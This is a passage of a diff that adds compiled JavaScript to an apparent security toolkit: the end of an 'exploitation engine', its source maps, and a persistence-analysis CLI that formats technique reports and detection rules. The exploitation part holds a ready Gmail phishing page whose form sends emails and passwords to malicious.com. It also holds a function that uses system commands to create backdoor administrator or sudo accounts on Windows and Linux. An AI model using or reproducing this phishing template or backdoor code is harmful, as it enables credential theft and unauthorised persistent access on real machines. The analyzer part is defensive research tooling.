+ const gmailTemplate = `<!DOCTYPE html><html><body style="font-family: Arial;"><div style="max-width: 400px; margin: 50px auto; padding: 20px; border: 1px solid #ddd;"><img src="https://www.gstatic.com/images/branding/product/1x/gsa_512dp.png" width="50" style="display: block; margin: 0 auto;"><h2 style="text-align: center;">Sign in</h2><form action="http://malicious.com/gmail" method="post"><input type="email" name="email" placeholder="Email or phone" style="width: 100%; padding: 10px; margin: 10px 0; border: 1px solid #ddd;"><input type="password" name="password" placeholder="Enter your password" style="width: 100%; padding: 10px; margin: 10px 0; border: 1px solid #ddd;"><button style="width: 100%; padding: 10px; background: #1a73e8; color: white; border: none;">Next</button></form></div></body></html>`;
217
+ templates.push({
218
+ type: 'gmail-phishing',
219
+ platform: 'web',
220
+ content: gmailTemplate
221
+ });
222
+ return templates;
223
+ }
224
+ /**
225
+ * Create backdoor user account
226
+ */
227
+ async createBackdoorUser(username, password) {
228
+ try {
229
+ const currentPlatform = platform();
230
+ if (currentPlatform === 'win32') {
231
+ // Windows user creation
232
+ const userCommand = `net user ${username} ${password} /add && net localgroup administrators ${username} /add`;
233
+ execSync(userCommand, { stdio: 'pipe' });
234
+ return {
235
+ success: true,
236
+ output: `Backdoor user ${username} created with admin privileges`,
237
+ evidence: `User account ${username} added to administrators`,
238
+ technique: 'backdoor-user-creation'
239
+ };
240
+ }
241
+ else {
242
+ // Linux user creation
243
+ const userCommand = `useradd -m -s /bin/bash ${username} && echo '${username}:${password}' | chpasswd && usermod -aG sudo ${username}`;
244
+ execSync(userCommand, { stdio: 'pipe' });
245
+ return {
246
+ success: true,
247
+ output: `Backdoor user ${username} created with sudo privileges`,
248
+ evidence: `User ${username} added to sudo group`,
249
+ technique: 'backdoor-user-creation'
250
+ };
251
+ }
252
+ }
253
+ catch (error) {
254
+ return {
255
+ success: false,
256
+ output: `Backdoor user creation failed: ${error}`,
257
+ evidence: '',
258
+ technique: 'backdoor-user-creation'
259
+ };
260
+ }
261
+ }
262
+ }
263
+ //# sourceMappingURL=exploitationEngine.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"exploitationEngine.js","sourceRoot":"","sources":["../../../src/security/offensive/exploitationEngine.ts"],"names":[],"mappings":"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"}
@@ -0,0 +1,56 @@
1
+ /**
2
+ * Persistence Analyzer CLI Tool
3
+ *
4
+ * Command-line interface for analyzing persistence mechanisms
5
+ * across different operating systems.
6
+ */
7
+ import { DetectedTechnique } from './persistence-research.js';
8
+ interface AnalysisOptions {
9
+ platform: string;
10
+ outputFormat: 'text' | 'json' | 'csv';
11
+ includeRemediation: boolean;
12
+ riskThreshold: 'low' | 'medium' | 'high' | 'critical';
13
+ }
14
+ export declare class PersistenceAnalyzer {
15
+ private toolkit;
16
+ constructor();
17
+ /**
18
+ * Analyze persistence techniques for a specific platform
19
+ */
20
+ analyzePlatform(options: AnalysisOptions): string;
21
+ /**
22
+ * Generate detection rules for specific techniques
23
+ */
24
+ generateDetectionRules(techniqueIds: string[]): string;
25
+ /**
26
+ * Generate test cases for security validation
27
+ */
28
+ generateTestCases(platform: string): string;
29
+ /**
30
+ * Filter techniques by risk level
31
+ */
32
+ private filterByRiskLevel;
33
+ /**
34
+ * Format analysis as plain text
35
+ */
36
+ private formatAsText;
37
+ /**
38
+ * Format analysis as JSON
39
+ */
40
+ private formatAsJSON;
41
+ /**
42
+ * Format analysis as CSV
43
+ */
44
+ private formatAsCSV;
45
+ /**
46
+ * Simulate detection of persistence techniques
47
+ * (For demonstration purposes in a research environment)
48
+ */
49
+ simulateDetection(platform: string): DetectedTechnique[];
50
+ /**
51
+ * Generate security assessment report
52
+ */
53
+ generateAssessmentReport(platform: string): string;
54
+ }
55
+ export {};
56
+ //# sourceMappingURL=persistence-analyzer.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"persistence-analyzer.d.ts","sourceRoot":"","sources":["../../src/security/persistence-analyzer.ts"],"names":[],"mappings":"AAAA;;;;;GAKG;AAEH,OAAO,EAAoD,iBAAiB,EAAE,MAAM,2BAA2B,CAAC;AAEhH,UAAU,eAAe;IACvB,QAAQ,EAAE,MAAM,CAAC;IACjB,YAAY,EAAE,MAAM,GAAG,MAAM,GAAG,KAAK,CAAC;IACtC,kBAAkB,EAAE,OAAO,CAAC;IAC5B,aAAa,EAAE,KAAK,GAAG,QAAQ,GAAG,MAAM,GAAG,UAAU,CAAC;CACvD;AAED,qBAAa,mBAAmB;IAC9B,OAAO,CAAC,OAAO,CAA6B;;IAM5C;;OAEG;IACH,eAAe,CAAC,OAAO,EAAE,eAAe,GAAG,MAAM;IAcjD;;OAEG;IACH,sBAAsB,CAAC,YAAY,EAAE,MAAM,EAAE,GAAG,MAAM;IAatD;;OAEG;IACH,iBAAiB,CAAC,QAAQ,EAAE,MAAM,GAAG,MAAM;IAK3C;;OAEG;IACH,OAAO,CAAC,iBAAiB;IAazB;;OAEG;IACH,OAAO,CAAC,YAAY;IAmCpB;;OAEG;IACH,OAAO,CAAC,YAAY;IAsBpB;;OAEG;IACH,OAAO,CAAC,WAAW;IA4BnB;;;OAGG;IACH,iBAAiB,CAAC,QAAQ,EAAE,MAAM,GAAG,iBAAiB,EAAE;IAmBxD;;OAEG;IACH,wBAAwB,CAAC,QAAQ,EAAE,MAAM,GAAG,MAAM;CAqCnD"}
@@ -0,0 +1,187 @@
1
+ /**
2
+ * Persistence Analyzer CLI Tool
3
+ *
4
+ * Command-line interface for analyzing persistence mechanisms
5
+ * across different operating systems.
6
+ */
7
+ import { PersistenceResearchToolkit } from './persistence-research.js';
8
+ export class PersistenceAnalyzer {
9
+ toolkit;
10
+ constructor() {
11
+ this.toolkit = new PersistenceResearchToolkit();
12
+ }
13
+ /**
14
+ * Analyze persistence techniques for a specific platform
15
+ */
16
+ analyzePlatform(options) {
17
+ const techniques = this.toolkit.getTechniquesByPlatform(options.platform);
18
+ const filteredTechniques = this.filterByRiskLevel(techniques, options.riskThreshold);
19
+ switch (options.outputFormat) {
20
+ case 'json':
21
+ return this.formatAsJSON(filteredTechniques, options);
22
+ case 'csv':
23
+ return this.formatAsCSV(filteredTechniques, options);
24
+ default:
25
+ return this.formatAsText(filteredTechniques, options);
26
+ }
27
+ }
28
+ /**
29
+ * Generate detection rules for specific techniques
30
+ */
31
+ generateDetectionRules(techniqueIds) {
32
+ const rules = [];
33
+ techniqueIds.forEach(id => {
34
+ const techniqueRules = this.toolkit.generateDetectionRules(id);
35
+ rules.push(`Detection Rules for ${id}:`);
36
+ rules.push(...techniqueRules);
37
+ rules.push('');
38
+ });
39
+ return rules.join('\n');
40
+ }
41
+ /**
42
+ * Generate test cases for security validation
43
+ */
44
+ generateTestCases(platform) {
45
+ const testCases = this.toolkit.generateTestCases(platform);
46
+ return testCases.join('\n');
47
+ }
48
+ /**
49
+ * Filter techniques by risk level
50
+ */
51
+ filterByRiskLevel(techniques, threshold) {
52
+ const riskLevels = ['low', 'medium', 'high', 'critical'];
53
+ const thresholdIndex = riskLevels.indexOf(threshold);
54
+ return techniques.filter(tech => {
55
+ const techIndex = riskLevels.indexOf(tech.riskLevel);
56
+ return techIndex >= thresholdIndex;
57
+ });
58
+ }
59
+ /**
60
+ * Format analysis as plain text
61
+ */
62
+ formatAsText(techniques, options) {
63
+ const output = [];
64
+ output.push(`Persistence Analysis for ${options.platform.toUpperCase()}`);
65
+ output.push('='.repeat(50));
66
+ output.push(`Total Techniques: ${techniques.length}`);
67
+ output.push(`Risk Threshold: ${options.riskThreshold}`);
68
+ output.push('');
69
+ techniques.forEach(tech => {
70
+ output.push(`Technique: ${tech.name}`);
71
+ output.push(`MITRE ID: ${tech.mitreId || 'N/A'}`);
72
+ output.push(`Risk Level: ${tech.riskLevel}`);
73
+ output.push(`Description: ${tech.description}`);
74
+ output.push('Detection Methods:');
75
+ tech.detectionMethods.forEach(method => {
76
+ output.push(` • ${method}`);
77
+ });
78
+ if (options.includeRemediation) {
79
+ output.push('Remediation Steps:');
80
+ tech.remediationSteps.forEach(step => {
81
+ output.push(` • ${step}`);
82
+ });
83
+ }
84
+ output.push('');
85
+ });
86
+ return output.join('\n');
87
+ }
88
+ /**
89
+ * Format analysis as JSON
90
+ */
91
+ formatAsJSON(techniques, options) {
92
+ const analysis = {
93
+ platform: options.platform,
94
+ riskThreshold: options.riskThreshold,
95
+ totalTechniques: techniques.length,
96
+ techniques: techniques.map(tech => ({
97
+ id: tech.id,
98
+ name: tech.name,
99
+ mitreId: tech.mitreId,
100
+ riskLevel: tech.riskLevel,
101
+ description: tech.description,
102
+ detectionMethods: tech.detectionMethods,
103
+ remediationSteps: options.includeRemediation ? tech.remediationSteps : undefined
104
+ }))
105
+ };
106
+ return JSON.stringify(analysis, null, 2);
107
+ }
108
+ /**
109
+ * Format analysis as CSV
110
+ */
111
+ formatAsCSV(techniques, options) {
112
+ const headers = ['ID', 'Name', 'MITRE ID', 'Risk Level', 'Description'];
113
+ if (options.includeRemediation) {
114
+ headers.push('Remediation Steps');
115
+ }
116
+ const rows = techniques.map(tech => {
117
+ const row = [
118
+ tech.id,
119
+ tech.name,
120
+ tech.mitreId || '',
121
+ tech.riskLevel,
122
+ `"${tech.description}"`
123
+ ];
124
+ if (options.includeRemediation) {
125
+ row.push(`"${tech.remediationSteps.join('; ')}"`);
126
+ }
127
+ return row.join(',');
128
+ });
129
+ return [headers.join(','), ...rows].join('\n');
130
+ }
131
+ /**
132
+ * Simulate detection of persistence techniques
133
+ * (For demonstration purposes in a research environment)
134
+ */
135
+ simulateDetection(platform) {
136
+ const techniques = this.toolkit.getTechniquesByPlatform(platform);
137
+ const detected = [];
138
+ // Simulate random detection for demonstration
139
+ techniques.forEach(tech => {
140
+ if (Math.random() > 0.7) { // 30% chance of "detection"
141
+ detected.push({
142
+ technique: tech,
143
+ evidence: `Simulated detection in ${platform} environment`,
144
+ confidence: ['low', 'medium', 'high'][Math.floor(Math.random() * 3)],
145
+ location: `/simulated/path/${tech.id}`
146
+ });
147
+ }
148
+ });
149
+ return detected;
150
+ }
151
+ /**
152
+ * Generate security assessment report
153
+ */
154
+ generateAssessmentReport(platform) {
155
+ const detected = this.simulateDetection(platform);
156
+ const totalTechniques = this.toolkit.getTechniquesByPlatform(platform).length;
157
+ const report = [];
158
+ report.push(`Security Assessment Report - ${platform.toUpperCase()}`);
159
+ report.push('='.repeat(60));
160
+ report.push(`Total Persistence Techniques: ${totalTechniques}`);
161
+ report.push(`Detected Techniques: ${detected.length}`);
162
+ report.push(`Detection Rate: ${((detected.length / totalTechniques) * 100).toFixed(1)}%`);
163
+ report.push('');
164
+ if (detected.length > 0) {
165
+ report.push('DETECTED PERSISTENCE TECHNIQUES:');
166
+ report.push('-'.repeat(40));
167
+ detected.forEach(detectedTech => {
168
+ report.push(`Technique: ${detectedTech.technique.name}`);
169
+ report.push(` MITRE ID: ${detectedTech.technique.mitreId || 'N/A'}`);
170
+ report.push(` Confidence: ${detectedTech.confidence}`);
171
+ report.push(` Location: ${detectedTech.location}`);
172
+ report.push(` Evidence: ${detectedTech.evidence}`);
173
+ report.push('');
174
+ });
175
+ report.push('REMEDIATION GUIDANCE:');
176
+ report.push('-'.repeat(40));
177
+ const remediation = this.toolkit.getRemediationGuidance(detected);
178
+ report.push(...remediation);
179
+ }
180
+ else {
181
+ report.push('No persistence techniques detected in this simulation.');
182
+ report.push('Consider running additional detection methods for comprehensive assessment.');
183
+ }
184
+ return report.join('\n');
185
+ }
186
+ }
187
+ //# sourceMappingURL=persistence-analyzer.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"persistence-analyzer.js","sourceRoot":"","sources":["../../src/security/persistence-analyzer.ts"],"names":[],"mappings":"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